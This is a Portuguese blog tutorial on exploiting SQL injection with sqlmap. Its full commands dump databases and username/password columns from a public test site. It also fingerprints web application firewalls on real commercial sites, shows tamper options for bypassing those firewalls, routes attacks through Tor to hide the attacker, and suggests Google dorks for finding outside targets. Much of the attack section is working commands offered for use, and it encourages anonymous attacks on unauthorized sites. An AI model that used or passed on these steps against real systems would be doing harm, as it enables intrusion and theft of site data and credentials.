Téchne Digitus InfoSec Artigos

<índice "[ Hacking ]-[ Redes de Comunicação ]-[ DeepWeb ]-[ Anonimato ]-[ Criptomoedas ]-[ Programação ]-[ InfoSec em Geral ]-[ Off-Topic but Important ]" />

terça-feira, 17 de setembro de 2019

Logo Téchne Digitus InfoSec

Invadindo Sites com SQLMAP

SQLMAP Um Guia Completo Passo a Passo


Introdução e Objetivo


O objetivo deste artigo é ser um tutorial básico, prático e simples para ensinar como utilizar a ferramenta SQLMAP para explorar vulnerabilidades de SQL Injection em aplicações web (ou websites).

SQL Injection é uma classe de vulnerabilidade que através de requisições get ou post acrescidos de parâmetros de queries, podemos obter informações do banco de dados da aplicação que está sendo invadida.

SQLMAP é uma ferramenta opensource, gratuita que através de parâmetros específicos que serão apresentados neste arquivo, teste de várias formas diferentes se o site está ou não vulnerável e, caso estiver, permite que com alguns outros parâmetros, possamos de forma simples obter informações do banco de dados.


Instalação do sqlmap em um Linux

Debian-Like Comando: apt install sqlmap
Red Hat-Like Comando: yum install sqlmap


Apresentação dos parâmetros básicos

sqlmap -u "endereço_do_site" --threads=10 -o --batch --level=5 --risk=3

sqlmap - é o comando

-u "endereço_do_site" é a URL que testaremos o ataque. Ela pode conter um parâmetro que iremos explorar, por exemplo: "?cat=1" ou então um fomulário.

--threads=10 é um parâmetro que utilizar 10 processos do sqlmap simultaneamente para aumentar a performance do teste. Em casos onde o ataque deve ser silencioso ou o alvo seja sensível e possa ser impactado, pode ser que este parâmetro não deva ser utilizado. Mas de uma forma geral recomendo a sua utilização para ganho de tempo.

-o é outro parâmetro do sqlmap que visa otimizar a conexão com o alvo.

--batch é um parâmetro que automatiza um "Sim" para as perguntas básicas do wizard de teste do sqlmap.

--level=5 é um parâmetro que amplia os pontos de injeção que o sqlmap irá testar o ataque, ou seja, irá testar em parâmetros de cookies, headers, entre outros.

--risk=3 é um parâmetro que utiliza queries mais extensas e complexas.


Teste dos Parâmetros Básicos


A partir desse ponto você já sabe o básico! Existe um site liberado para testes da empresa Acunetix que é feito para testar ataques... Então teste o que você aprendeu!

Execute o seguinte comando e observe os resultados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch --level=5 --risk=3

SQLMAP - Teste Básico Resultado - Téchne Digitus


Conclusão do Teste dos Parâmetros Básicos

Observando o output do teste descobrimos o seguinte:

- O parâmetro cat é vulnerável a 4 tipos de técnicas: boolean-based blind, error-based, AND/OR time-based blind, UNION query.
- O banco de dados identificado é o MySQL
- O webserver é um Nginx e utiliza PHP 5.3.10
- Não tinha um WAF protegendo o alvo

Com essas informações, poderíamos até ter feito um teste muito mais simples e rápido para conseguir invadir esse site! Como?

1. Removendo as opções --level=5, --risk=3.
2. Testando somente ataques de injection para MySQL
3. Poderíamos até testar um tipo de ataque, o error-based. Que é o mais trivial e rápido.
4. Foque o teste somente no parâmetro cat.

Sendo assim, vamos testar!

1. Limpe o SQLMAP com o comando:
sqlmap --purge

Assim poderemos retestar o alvo sem que o sqlmap leve em consideração testes anteriores.

2. Veja o comando enxuto:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat
--technique=e --dbms=MySQL --skip-waf

-p cat testa somente o parâmetro cat

--technique=e testa somente injections para a técnica error-based

--dbms=MySQL testa somente injections para MySQL

--skip-waf ignora o teste de WAF
Teste do Comando Enxuto - SQLMAP - Téchne Digitus


Teste de Obtenção de Dados do Banco de Dados


Uma vez que verificamos que o site é explorável com SQL Injection, vamos obter informações dos bancos de dados.


1. Descobrindo os bancos de dados:


sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf --dbs


Acrescentando o parâmetro --dbs obtemos quais os bancos de dados disponíveis neste alvo.
Conforme podemos observar na imagem abaixo, encontramos dois bancos de dados: acuart e information_schema.


Descobrindo os Bancos de Dados SQLMAP - Téchne Digitus


2. Obtendo as tabelas o banco:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart --tables

O banco que nos interessa é o acuart. Então usamos o parâmetro -D acuart para obter os dados deste banco específico e então, utilizamos o parâmetro --tables para obter as tabelas deste banco.

Obtendo Tabelas com SQLMAP - Téchne Digitus

3. Obtendo os dados que nos interessam

3.1. Obtendo ("roubando") todo o banco de dados:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart --tables --dump-all

Obtendo todo o banco de dados SQLMAP Téchne Digitus

Adicionando o parâmetro --dump-all obtemos todo o banco de dados que foi salvo (no meu caso) no diretório: /home/user/.sqlmap/output/testphp.vulnweb.com/dump/acuart/

Dump SQLMAP Téchne Digitus

3.2. Visualizando quais os campos específicos de uma tabela que nos interesse:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart -T users --columns

Neste caso, a tabela que me interessou foi "users". Então usei -T users para escolher essa tabela no comando e --columns para obter o campos dessa tabela.

Obtendo Campos da Tabela User SQLMAP Téchne Digitus

3.3. Obtendo o conteúdo dos campos que nos interessam:

sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --threads=10 -o --batch -p cat --technique=e --dbms=MySQL --skip-waf -D acuart -T users -C uname,pass --dump

-C uname,pass --dump pedimos para que ele busque o conteúdo dos campos uname e pass (que seriam username e senha). Nesse alvo de teste, infelizmente o resultado é sem graça... rs

Uname e Pass SQLMAP Téchne Digitus

Testes Avançados

A partir de agora, iremos para a "pancadaria"!
Nas próximas sessões veremos outros tipos de testes importantes.
Tudo que vimos até agora foi o teste mais básico, mas muitas vezes não temos um parâmetro, temos somente um formulário de login. Queries simples podem não funcionar pois a vulnerabilidade pode estar escondida atrás de um WAF, uma aplicação web com alguma sanitização, validação de dados ou alguma configuração que faça com que o caminho para o injection não seja tão óbvio... Mas nem por isso ele não seja penetrável... O segredo do hacking é tentar de múltiplas formas diferentes até acharmos a forma certa!

Identificando o WAF

Com o parâmetro --identify-waf vamos identificar se existe um WAF no alvo e qual seria ele...

Vamos observar em três exemplos diferentes:

sqlmap -u "https://www.technedigitus.com" --identify-waf
Cloudflare - WAF- SQLMAP Téchne Digitus
Aqui temos o WAF do CloudFlare

sqlmap -u "https://www.uol.com.br" --identify-waf
CloudFront AWS - WAF - SQLMAP Téchne Digitus
Aqui temos o WAF CloudFront da AWS
sqlmap -u "https://www.symantec.com" --identify-waf
Akamai WAF - SQLMAP Téchne Digitus
Aqui temos o WAF da Akamai

sqlmap -u "http://testphp.vulnweb.com/" --identify-waf
Alvo sem WAF - SQLMAP Téchne Digitus
Aqui não temos WAF
Contornando o WAF

Isso não é simples, depende de um pouco de sorte e técnica misturados...
Mas veremos algumas parâmetros interessantes:

--random-agent Ele altera o agente web do teste, simulando um browser qualquer. Muitas vezes o WAF pode identificar que o ataque vem do SQLMAP e aplicar um bloqueio. Se simulamos um browser normal, temos chances de contorná-lo.

--tamper=nome_do_tamper Esse parâmetro permite que apliquemos encodes dos mais variáveis nos comandos de injection do SQLMAP.

Não é recomendável usar mais de três tipos de tamper em um ataque. E para cada tipo de banco de dados existem técnicas de tamper diferentes.

Em um teste de invasão insistente, devemos tentar múltiplas combinações. Isso não é fácil, requer tempo.

No link a seguir, temos uma referência bem completa dos tampers disponíveis e suas aplicações: https://securityonline.info/sqlmap-tamper-script-bypassing-waf/

No geral, recomendo dois tipos de teste com tampers.

Teste de Tamper Básico:

--tamper=space2comment é um tamper para múltiplos bancos de dados. Ele substitui espaços em branco da query de ataque por / ** /

--tamper=between,randomcase,space2comment é uma "combinação ninja" para alvos com MySQL. Recomendo.

--hex  é uma forma de tratar dados do banco de dados quando não estão ASCII. Tentar todas as combinações anteriores com e sem o --hex.

--no-cast é uma forma de tratar todo o comando do injection com caráteres string (espaços como "NULL"). Em alguns casos pode ser necessário e outros pode atrapalhar totalmente o injection. Não pode ser usado junto com o --hex. Também é sugerido testar todas as técnicas anteriores com e sem o --no-cast.


Injetando em Formulários


Formulário - SQLMAP - Téchne Digitus
Formulário para testar a injeção

Muitas vezes temos um formulário de login (ou até mesmo um campo de busca) em um site que não
existe na URL um parâmetro que possa ser injetado. Para injetar em um formulário, basta usarmos o parâmetro --forms. Teste com o exemplo abaixo:
sqlmap -u "http://testphp.vulnweb.com/login.php" --forms --threads=10 -o --batch

SQLMAP --forms Atack - Téchne Digitus

Realizando Testes Anônimos


Para atacarmos um alvo de forma anonimizada, ou seja, ocultando a nossa origem (escondendo meu IP pessoal), podemos utilizar o Tor.
Debian-Like Comando: apt install tor
Red Hat-Like Comando: yum install tor


Utilizando o Tor com o SQLMAP

sqlmap --tor --check-tor -u "http://testphp.vulnweb.com/login.php" --forms --threads=10 -o --batch --time-sec=15 --timeout=45 --retries=4

--tor ativa o Tor

--check-tor verifica se o Tor está sendo utilizado com sucesso. Para verificar, busque a seguinte linha no output: [INFO] Tor is properly being used

Como o Tor torna a conexão mais lenta e passível a erros ocasionados por diversas degradações que afetam banda e latência, recomendo o uso de alguns parâmetros adicionais para tornar a operação mais resiliente a falhas devido a conexões degradadas:

--time-sec=15 o padrão é 5, tempo de espera para resposta do banco de dados.

--timeout=45 o padrão é 30, tempo de espera antes de considerar uma conexão como perdida ou encerrada.

--retries=4 o padrão é 3, número de tentativas em caso de falha de uma conexão.

Tor com SQLMAP Téchne Digitus

Google Dorks


Para encontramos alvos para testes ÉTICOS E ANONIMIZADOS, podemos buscar no Google utilizando strings como "php?produto=", "php?id=", "php?item", "php?num=" mais algumas outras palavras para achar alvos em algum contexto, por exemplo: livros, roupas, loja, etc.
Google Dork Téchne Digitus
Exemplo de Google Dork


Conclusão


Neste artigo aprendemos como explorar vulnerabilidades de SQL Injection utilizando SQLMAP. Vimos técnicas básicas e "técnicas de guerra" mais avançadas para alvos hardenizados, como fazer isso de forma anônima e, por fim, como encontrar alvos para serem testados.

Um comentário:

Anônimodisse...

Muito bom o artigo! Completo e explicativo.